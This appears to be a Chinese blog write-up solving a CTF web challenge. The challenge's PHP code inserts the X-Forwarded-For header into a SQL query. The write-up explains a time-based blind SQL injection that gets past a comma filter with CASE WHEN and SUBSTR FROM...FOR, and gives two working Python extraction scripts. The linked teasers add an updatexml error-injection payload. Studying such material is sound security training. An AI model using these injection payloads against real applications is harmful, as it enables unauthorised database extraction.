题目

题目连接:http://123.206.87.240:8002/web15/
题目提示:

flag格式:flag{xxxxxxxxxxxx}
不如写个Python吧

error_reporting(0);

function getIp(){
$ip = '';
if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])){
$ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
}else{
$ip = $_SERVER['REMOTE_ADDR'];
}
$ip_arr = explode(',', $ip);
return $ip_arr[0];

}

$host="localhost";
$user="";
$pass="";
$db="";

$connect = mysql_connect($host, $user, $pass) or die("Unable to connect");

mysql_select_db($db) or die("Unable to select database");

$ip = getIp();
echo 'your ip is :'.$ip;
$sql="insert into client_ip (ip) values ('$ip')";
mysql_query($sql);

解题过程

分析代码发现执行$sql语句。而我们可以通过改变X-Forwarded-For来改变我们的ip,代码中的getip()函数把我们传入的ip进行了逗号过滤。然后,我们来尝试注入,因为error_reporting(0);屏蔽啦报错信息。所以不考虑报错注入。因为没有回显所以只能用延时盲注。

延时盲注,我们经常用到的if(condition,Expression1,Expression2) condition为真执行Expression1。为假执行Expression2。就不能使用了。我们要用到

case when exp1 then sleep(4) else 1 end

来绕过 “,”的限制。

substr($str,1,1)也需要改变变成

substr($str)  from 1 for 1

来绕过”,”的过滤。
所以我用来注入的语句就是:

11' and (case when (length((select database())) = 14) then sleep(4) else 1 end) #

11' and (case when (substr(select database())  from 1 for 1)='c' then sleep(4) else 1 end) # 

构造成的完整语句为:

insert into client_ip (ip) values ('11' and (case when (length((select database())) = 14) then sleep(4) else 1 end) # ')
//获得长度
insert into client_ip (ip) values ('11' and (case when (substr(select database())  from 1 for 1)='c' then sleep(4) else 1 end) #')
//获得内容

经过我本机测试发现values里面and前面单引号里面的值只能是数字,不能是字母或符号,当时字母或符号的时候,语句会执行。但是and后面的语句不会执行。执行后插入表中的值为0。所以不能产生延时。所以那里的只能是数字。
最后附上菜鸡的小脚本:

#用来获取长度
# coding=utf-8
import requests

flag=""
url='http://123.206.87.240:8002/web15/'
for i in range(0,100):
    # data="11' and (case when (length((select database())) = "+str(i)+") then sleep(4) else 1 end )) #" #数据库名的长的为5
    # data="11' and (case when (length((select group_concat(table_name) from information_schema.tables where table_schema=database() )) = "+str(i)+") then sleep(4) else 1 end )) #" #web15下的全部表名加,分割符共14个字符
    # data = "11'  and (case when (length((select group_concat(column_name) from information_schema.columns where table_name='flag'))="+str(i)+") then sleep(4) else 1 end)) #" #flag表下列名长度为4
    data = "11'  and (case when (length((select flag from flag))="+str(i)+") then sleep(4) else 1 end)) #"#flag表里的内容长度为32
    header={'X-Forwarded-For':data}
    try:
        res=requests.get(url,headers=header,timeout=3)
        # print res.text
    except requests.exceptions.ReadTimeout:
        length=i
        print length

#用来获取内容
# coding=utf-8
import requests

flag=""
url='http://123.206.87.240:8002/web15/'
for b in range(1,33):
    for i in range(0,73):
        a="0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ,_!@#$%^&*."
        # data="11' and (case when (substr((select database()) from "+str(b)+" for 1) = '"+a[i]+"') then sleep(5) else 1 end )) #" #数据库名:web15
        # data="11' and (select binary case when (substr((select binary group_concat(table_name) from information_schema.tables where table_schema=database()) from "+str(b)+" for 1) = '"+a[i]+"') then sleep(5) else 1 end )) #"# web15下的表有client_ip,flag
        # data= "11' and (case when (substr((select binary group_concat(column_name) from information_schema.columns where table_name='flag') from " + str(b) + " for 1 )='" + a[i] + "') then sleep(4) else 1 end )) #" # flag表下列名flag
        data="11' and (case when (substr((select binary flag from flag) from " + str(b) + " for 1 )='" + a[i] + "') then sleep(4) else 1 end )) #"#flag{cdbf14c9551d5be5612f7bb5d2867853}
        header={'X-Forwarded-For':data}
        try:
            res=requests.get(url,headers=header,timeout=4)
            # print res.text
        except requests.exceptions.ReadTimeout:
            flag+=a[i]
            print flag

在注表名的时候 “,”因为是被过滤了的,所以脚本跑出来两个表之间的“,”是被过滤了,但是看单词也能把它区分开。

最后,只能说博大精深。需要学的东西还有很多。加油小伙子。

  • 2019年上海嘉韦思杯writeup

    1土肥原贤二报错注入 1’ and updatexml(1,concat(0x7e,(database()),0x7e),1)# 然后注表1’ and updatexml(1,concat(0x7e,(select group_co...

    2019年上海嘉韦思杯writeup
  • ctf中web的常见知识点

    本地访问和伪造ipX-Forwarded-For: 127.0.0.1 域名解析可以更改HTTP头部host字段为flag.bugku.com 把 flag.bugku.com 解析到120.24.86.145 直接在 c:\wind...

    ctf中web的常见知识点
  • 2018安恒杯好黑的黑名单

    emmm,这个题是个好题。本题考察sql注入。绕过方法是以前没有遇见过的。里面利用了betwee and 的特性。 尝试对其进行注入,发现明显的过滤。一旦关键字在黑名单里,就会有:这么坏?想让我下面给你吃吗?XD 的字样。...

    2018安恒杯好黑的黑名单
  • bugku中的前女友(SKCTF)

    知识储备strcmp()函数int strcmp ( string $str1 , string $str2 ) 说明 注意该比较区分大小写。 参数 str1 第一个字符串。 str2 第二个字符串。 返回值 strcmp二进制安全...

    bugku中的前女友(SKCTF)
  • bugku中的welcome to bugkuctf

    知识储备本地包含file_get_contents() 函数定义和用法 file_get_contents() 函数把整个文件读入一个字符串中。和 file() 一样,不同的是 file_get_contents() 把文件读入一个字...

    bugku中的welcome to bugkuctf
  • hctf2018web

    首先,来说说本次比赛吧。 没有学到百度的真谛。(什么漏洞百度几乎都有,遇到不会就百度。发现源码也可百度理解) 发现可测试的地方要通过各种手段进行尝试。 ctf题与真正的漏洞有差距。需要换种思维来考虑问题。 然后,就...

    hctf2018web
  • 护网杯签到题

    首先,护网杯对新手不友好。看题看到绝望!!!全程懵逼状态。好啦不吐槽啦。。。。 进入正题:迟来的签到题 首先从文件下载下来看着像base64.但通过base64解码工具解码出来 V_UPVSUSUQR^W_###QV'R...

    护网杯签到题
  • bugku备份是个好习惯

    本题提示备份: 首先,可以用御剑等工具进行扫描,发现存在备份泄露,然后可以进行index.php.bak。对原码进行下载分析。 <?php /** * Created by PhpStorm. * User: Nors...

    bugku备份是个好习惯
  • linux三剑客

    前言之前用一些脚本都经常用到grep,sed,awk。但是一直不太熟悉,今天来学习一下,做个备忘录。 grep格式: grep [OPTIONS] PATTERN [FILE...] grep [OPTIONS] [-e PATTER...

    linux三剑客
  • i春秋2020新春战“疫”网络安全公益赛 web Writeup

    前言这次比赛题目质量挺好的,除啦环境可能有时候有点问题。(就让我遇到了。心态炸了一天。。。)其他都挺好的。 DAY1简单的招聘系统知识点:sql注入的联合注入或盲注存在注册和登陆功能,首先进行注册后登陆进系统,发现有一个模块是管理员才...

    i春秋2020新春战“疫”网络安全公益赛 web Writeup